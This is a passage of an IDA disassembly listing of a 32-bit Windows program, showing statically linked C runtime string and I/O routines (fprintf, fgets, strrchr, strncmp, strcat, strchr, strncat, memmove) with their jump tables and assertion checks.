		or	eax, 0FFFFFFFFh
		jmp	short loc_41820D
; ---------------------------------------------------------------------------


loc_41820B:				; CODE XREF: sub_4181D0+28j
		xor	eax, eax


loc_41820D:				; CODE XREF: sub_4181D0+39j
		mov	esp, ebp
		pop	ebp
		retn
sub_4181D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	sub_4181D0
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418240	proc near		; CODE XREF: sub_403038+4463p
					; sub_40AF1B+181p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax


loc_41824F:				; CODE XREF: sub_418240+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_418273
		push	offset dword_4334B4
		push	0
		push	38h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_418273
		int	3		; Trap to Debugger


loc_418273:				; CODE XREF: sub_418240+13j
					; sub_418240+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41824F


loc_418279:				; CODE XREF: sub_418240+61j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41829D
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	39h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41829D
		int	3		; Trap to Debugger


loc_41829D:				; CODE XREF: sub_418240+3Dj
					; sub_418240+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_418279
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_418E90
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_420720
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41E9B0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_420880
		add	esp, 8
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_418F00
		add	esp, 4
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418310	proc near		; CODE XREF: sub_403038+32EDp
					; sub_403038+330Cp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418331
		xor	eax, eax
		jmp	short loc_418333
; ---------------------------------------------------------------------------


loc_418331:				; CODE XREF: sub_418310+1Bj
		mov	eax, edi


loc_418333:				; CODE XREF: sub_418310+1Fj
		cld
		pop	edi
		leave
		retn
sub_418310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418340	proc near		; CODE XREF: sub_403038+2A0Bp
					; sub_403038+2A3Ap

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], ecx


loc_418355:				; CODE XREF: sub_418340+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_418379
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	3Bh


loc_418364:				; DATA XREF: Themida_:00569FA2o
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_418379
		int	3		; Trap to Debugger


loc_418379:				; CODE XREF: sub_418340+19j
					; sub_418340+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_418355


loc_41837F:				; CODE XREF: sub_418340+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4183A3
		push	offset dword_4334B4
		push	0
		push	3Ch
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4183A3
		int	3		; Trap to Debugger


loc_4183A3:				; CODE XREF: sub_418340+43j
					; sub_418340+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41837F
		cmp	[ebp+arg_4], 0
		jg	short loc_4183B6
		xor	eax, eax
		jmp	loc_418477
; ---------------------------------------------------------------------------


loc_4183B6:				; CODE XREF: sub_418340+6Dj
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_418E90
		add	esp, 4


loc_4183C8:				; CODE XREF: sub_418340:loc_41845Dj
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_4], 0
		jz	loc_418462
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_418413
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		and	ecx, 0FFh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		jmp	short loc_418422
; ---------------------------------------------------------------------------


loc_418413:				; CODE XREF: sub_418340+B1j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41DB50
		add	esp, 4
		mov	[ebp+var_14], eax


loc_418422:				; CODE XREF: sub_418340+D1j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_418441
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_41843F
		mov	[ebp+var_10], 0
		jmp	short loc_418468
; ---------------------------------------------------------------------------


loc_41843F:				; CODE XREF: sub_418340+F4j
		jmp	short loc_418462
; ---------------------------------------------------------------------------


loc_418441:				; CODE XREF: sub_418340+ECj
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+var_C]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+var_C]
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		cmp	ecx, 0Ah
		jnz	short loc_41845D
		jmp	short loc_418462
; ---------------------------------------------------------------------------


loc_41845D:				; CODE XREF: sub_418340+119j
		jmp	loc_4183C8
; ---------------------------------------------------------------------------


loc_418462:				; CODE XREF: sub_418340+95j
					; sub_418340:loc_41843Fj ...
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0


loc_418468:				; CODE XREF: sub_418340+FDj
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_418F00
		add	esp, 4
		mov	eax, [ebp+var_10]


loc_418477:				; CODE XREF: sub_418340+71j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418340	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418480	proc near		; CODE XREF: sub_403038+838p
					; ___:00424B56p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_4184B1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_4184AF
		jz	short loc_4184B1
		dec	ecx
		dec	ecx


loc_4184AF:				; CODE XREF: sub_418480+29j
		not	ecx


loc_4184B1:				; CODE XREF: sub_418480+9j
					; sub_418480+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4184C0	proc near		; CODE XREF: sub_403038+421p
					; sub_403038+1C7Cp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_418531
sub_4184C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4184D0	proc near		; CODE XREF: sub_403038+42Ap
					; sub_403038+2A9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4184EC


loc_4184DD:				; CODE XREF: sub_4184D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41851F
		test	ecx, 3
		jnz	short loc_4184DD


loc_4184EC:				; CODE XREF: sub_4184D0+Bj
					; sub_4184D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4184EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41852E
		test	ah, ah
		jz	short loc_418529
		test	eax, 0FF0000h
		jz	short loc_418524
		test	eax, 0FF000000h
		jz	short loc_41851F
		jmp	short loc_4184EC
; ---------------------------------------------------------------------------


loc_41851F:				; CODE XREF: sub_4184D0+12j
					; sub_4184D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_418531
; ---------------------------------------------------------------------------


loc_418524:				; CODE XREF: sub_4184D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_418531
; ---------------------------------------------------------------------------


loc_418529:				; CODE XREF: sub_4184D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_418531
; ---------------------------------------------------------------------------


loc_41852E:				; CODE XREF: sub_4184D0+39j
		lea	edi, [ecx-4]


loc_418531:				; CODE XREF: sub_4184C0+5j
					; sub_4184D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_418556


loc_41853D:				; CODE XREF: sub_4184D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_4185A8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41853D
		jmp	short loc_418556
; ---------------------------------------------------------------------------


loc_418551:				; CODE XREF: sub_4184D0+9Ej
					; sub_4184D0+B8j
		mov	[edi], edx
		add	edi, 4


loc_418556:				; CODE XREF: sub_4184D0+6Bj
					; sub_4184D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_418551
		test	dl, dl
		jz	short loc_4185A8
		test	dh, dh
		jz	short loc_41859F
		test	edx, 0FF0000h
		jz	short loc_418592
		test	edx, 0FF000000h
		jz	short loc_41858A
		jmp	short loc_418551
; ---------------------------------------------------------------------------


loc_41858A:				; CODE XREF: sub_4184D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418592:				; CODE XREF: sub_4184D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41859F:				; CODE XREF: sub_4184D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4185A8:				; CODE XREF: sub_4184D0+72j
					; sub_4184D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4184D0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4185C0


loc_4185B0:				; CODE XREF: sub_4185C0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_4185C0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4185C0	proc near		; CODE XREF: sub_403038+406p
					; sub_403038+4ADp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 004185B0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_4185C6:				; CODE XREF: sub_417B50+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4185EB


loc_4185D8:				; CODE XREF: sub_4185C0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_4185B0
		test	cl, cl
		jz	short loc_418634
		test	edx, 3
		jnz	short loc_4185D8


loc_4185EB:				; CODE XREF: sub_4185C0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4185F6:				; CODE XREF: sub_4185C0+61j
					; sub_4185C0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418638
		and	eax, 81010100h
		jz	short loc_4185F6
		and	eax, 1010100h
		jnz	short loc_418632
		and	esi, 80000000h
		jnz	short loc_4185F6


loc_418632:				; CODE XREF: sub_4185C0+68j
					; sub_4185C0+81j ...
		pop	esi
		pop	edi


loc_418634:				; CODE XREF: sub_4185C0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418638:				; CODE XREF: sub_4185C0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_418675
		test	al, al
		jz	short loc_418632
		cmp	ah, bl
		jz	short loc_41866E
		test	ah, ah
		jz	short loc_418632
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418667
		test	al, al
		jz	short loc_418632
		cmp	ah, bl
		jz	short loc_418660
		test	ah, ah
		jz	short loc_418632
		jmp	short loc_4185F6
; ---------------------------------------------------------------------------


loc_418660:				; CODE XREF: sub_4185C0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418667:				; CODE XREF: sub_4185C0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41866E:				; CODE XREF: sub_4185C0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418675:				; CODE XREF: sub_4185C0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_4185C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418680	proc near		; CODE XREF: sub_408AA4+8Dp
					; sub_4093A7+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418734
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_4186AA


loc_41869B:				; CODE XREF: sub_418680+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_4186DB
		test	edi, 3
		jnz	short loc_41869B


loc_4186AA:				; CODE XREF: sub_418680+19j
					; sub_418680+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_4186AA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_4186E8
		test	ah, ah
		jz	short loc_4186E3
		test	eax, 0FF0000h
		jz	short loc_4186DE
		test	eax, 0FF000000h
		jnz	short loc_4186AA


loc_4186DB:				; CODE XREF: sub_418680+20j
		dec	edi
		jmp	short loc_4186EB
; ---------------------------------------------------------------------------


loc_4186DE:				; CODE XREF: sub_418680+52j
		sub	edi, 2
		jmp	short loc_4186EB
; ---------------------------------------------------------------------------


loc_4186E3:				; CODE XREF: sub_418680+4Bj
		sub	edi, 3
		jmp	short loc_4186EB
; ---------------------------------------------------------------------------


loc_4186E8:				; CODE XREF: sub_418680+47j
		sub	edi, 4


loc_4186EB:				; CODE XREF: sub_418680+5Cj
					; sub_418680+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418700
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41874C
		jmp	short loc_41871C
; ---------------------------------------------------------------------------


loc_418700:				; CODE XREF: sub_418680+75j
					; sub_418680+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41873A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418730
		test	esi, 3
		jnz	short loc_418700
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41874C


loc_41871C:				; CODE XREF: sub_418680+7Ej
					; sub_418680+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418730


loc_418723:				; CODE XREF: sub_418680+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418732
		dec	ecx
		jnz	short loc_418723


loc_418730:				; CODE XREF: sub_418680+8Bj
					; sub_418680+A1j
		mov	[edi], cl


loc_418732:				; CODE XREF: sub_418680+ABj
		pop	ebx
		pop	esi


loc_418734:				; CODE XREF: sub_418680+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41873A:				; CODE XREF: sub_418680+85j
					; sub_418680+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418744:				; CODE XREF: sub_418680+E4j
					; sub_418680+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41871C


loc_41874C:				; CODE XREF: sub_418680+7Cj
					; sub_418680+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418744
		test	dl, dl
		jz	short loc_41873A
		test	dh, dh
		jz	short loc_418798
		test	edx, 0FF0000h
		jz	short loc_418788
		test	edx, 0FF000000h
		jnz	short loc_418744
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418788:				; CODE XREF: sub_418680+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418798:				; CODE XREF: sub_418680+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187B0	proc near		; CODE XREF: sub_408BD5+62p
					; sub_408BD5+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4187D0
		cmp	edi, eax
		jb	loc_418948


loc_4187D0:				; CODE XREF: sub_4187B0+16j
		test	edi, 3
		jnz	short loc_4187EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41880C
		rep movsd
		jmp	off_4188F8[edx*4]
; ---------------------------------------------------------------------------


loc_4187EC:				; CODE XREF: sub_4187B0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418804
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41880C+4[eax*4]
; ---------------------------------------------------------------------------


loc_418804:				; CODE XREF: sub_4187B0+46j
		jmp	dword ptr loc_418908[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41880C:				; CODE XREF: sub_4187B0+31j
					; sub_4187B0+8Ej ...
		jmp	off_41888C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418820
		dd offset loc_41884C
		dd offset loc_418870
; ---------------------------------------------------------------------------


loc_418820:				; DATA XREF: sub_4187B0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41880C
		rep movsd
		jmp	off_4188F8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41884C:				; DATA XREF: sub_4187B0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41880C
		rep movsd
		jmp	off_4188F8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_418870:				; DATA XREF: sub_4187B0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41880C
		rep movsd
		jmp	off_4188F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41888C	dd offset loc_4188EF	; DATA XREF: sub_4187B0:loc_41880Cr
		dd offset loc_4188DC
		dd offset loc_4188D4
		dd offset loc_4188CC
		dd offset loc_4188C4
		dd offset loc_4188BC
		dd offset loc_4188B4
		dd offset loc_4188AC
; ---------------------------------------------------------------------------


loc_4188AC:				; CODE XREF: sub_4187B0:loc_41880Cj
					; DATA XREF: sub_4187B0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4188B4:				; CODE XREF: sub_4187B0:loc_41880Cj
					; DATA XREF: sub_4187B0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4188BC:				; CODE XREF: sub_4187B0:loc_41880Cj
					; DATA XREF: sub_4187B0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4188C4:				; CODE XREF: sub_4187B0:loc_41880Cj
					; DATA XREF: sub_4187B0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4188CC:				; CODE XREF: sub_4187B0:loc_41880Cj
					; DATA XREF: sub_4187B0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4188D4:				; CODE XREF: sub_4187B0:loc_41880Cj
					; DATA XREF: sub_4187B0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4188DC:				; CODE XREF: sub_4187B0:loc_41880Cj
					; DATA XREF: sub_4187B0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4188EF:				; CODE XREF: sub_4187B0:loc_41880Cj
					; DATA XREF: sub_4187B0:off_41888Co
		jmp	off_4188F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4188F8	dd offset loc_418908	; DATA XREF: sub_4187B0+35r
					; sub_4187B0+92r ...
		dd offset loc_418910
		dd offset loc_41891C
		dd offset loc_418930
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187B0+35j
					; sub_4187B0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418910:				; CODE XREF: sub_4187B0+35j
					; sub_4187B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41891C:				; CODE XREF: sub_4187B0+35j
					; sub_4187B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418930:				; CODE XREF: sub_4187B0+35j
					; sub_4187B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418948:				; CODE XREF: sub_4187B0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41897C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418970
		std
		rep movsd
		cld
		jmp	off_418A90[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_418970:				; CODE XREF: sub_4187B0+1B1j
					; sub_4187B0+208j ...
		neg	ecx
		jmp	off_418A40[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41897C:				; CODE XREF: sub_4187B0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_418994
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_418994+4[eax*4]
; ---------------------------------------------------------------------------


loc_418994:				; CODE XREF: sub_4187B0+1D6j
					; DATA XREF: sub_4187B0+1DDr
		jmp	off_418A90[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4189A8
		dd offset unk_4189C8
		dd offset loc_4189F0
; ---------------------------------------------------------------------------


loc_4189A8:				; DATA XREF: sub_4187B0+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418970
		std
		rep movsd
		cld
		jmp	off_418A90[edx*4]
; ---------------------------------------------------------------------------
		align 4
unk_4189C8	db  8Ah	; Š		; DATA XREF: sub_4187B0+1F0o
		db  46h	; F
		db    3
		db  23h	; #
		db 0D1h	; Ñ
		db  88h	; ˆ
		db  47h	; G
		db    3
		db  8Ah	; Š
		db  46h	; F
		db    2
		db 0C1h	; Á
		db 0E9h	; é
		db    2
		db  88h	; ˆ
		db  47h	; G
		db    2
		db  83h	; ƒ
		db 0EEh	; î
		db    2
		db  83h	; ƒ
		db 0EFh	; ï
		db    2
		db  83h	; ƒ
		db 0F9h	; ù
		db    8
		db  72h	; r
		db  8Ch	; Œ
		db 0FDh	; ý
		db 0F3h	; ó
		db 0A5h	; ¥
		db 0FCh	; ü
		db 0FFh
		db  24h	; $
		db  95h	; •
		db  90h	; 
		db  8Ah	; Š
		db  41h	; A
		db    0
		align 10h


loc_4189F0:				; DATA XREF: sub_4187B0+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418970
		std
		rep movsd
		cld
		jmp	off_418A90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418A44
		dd offset loc_418A4C
		dd offset loc_418A54
		dd offset loc_418A5C
		dd offset loc_418A64
		dd offset loc_418A6C
		dd offset loc_418A74
off_418A40	dd offset loc_418A87	; DATA XREF: sub_4187B0+1C2r
; ---------------------------------------------------------------------------


loc_418A44:				; DATA XREF: sub_4187B0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_418A4C:				; DATA XREF: sub_4187B0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_418A54:				; DATA XREF: sub_4187B0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_418A5C:				; DATA XREF: sub_4187B0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


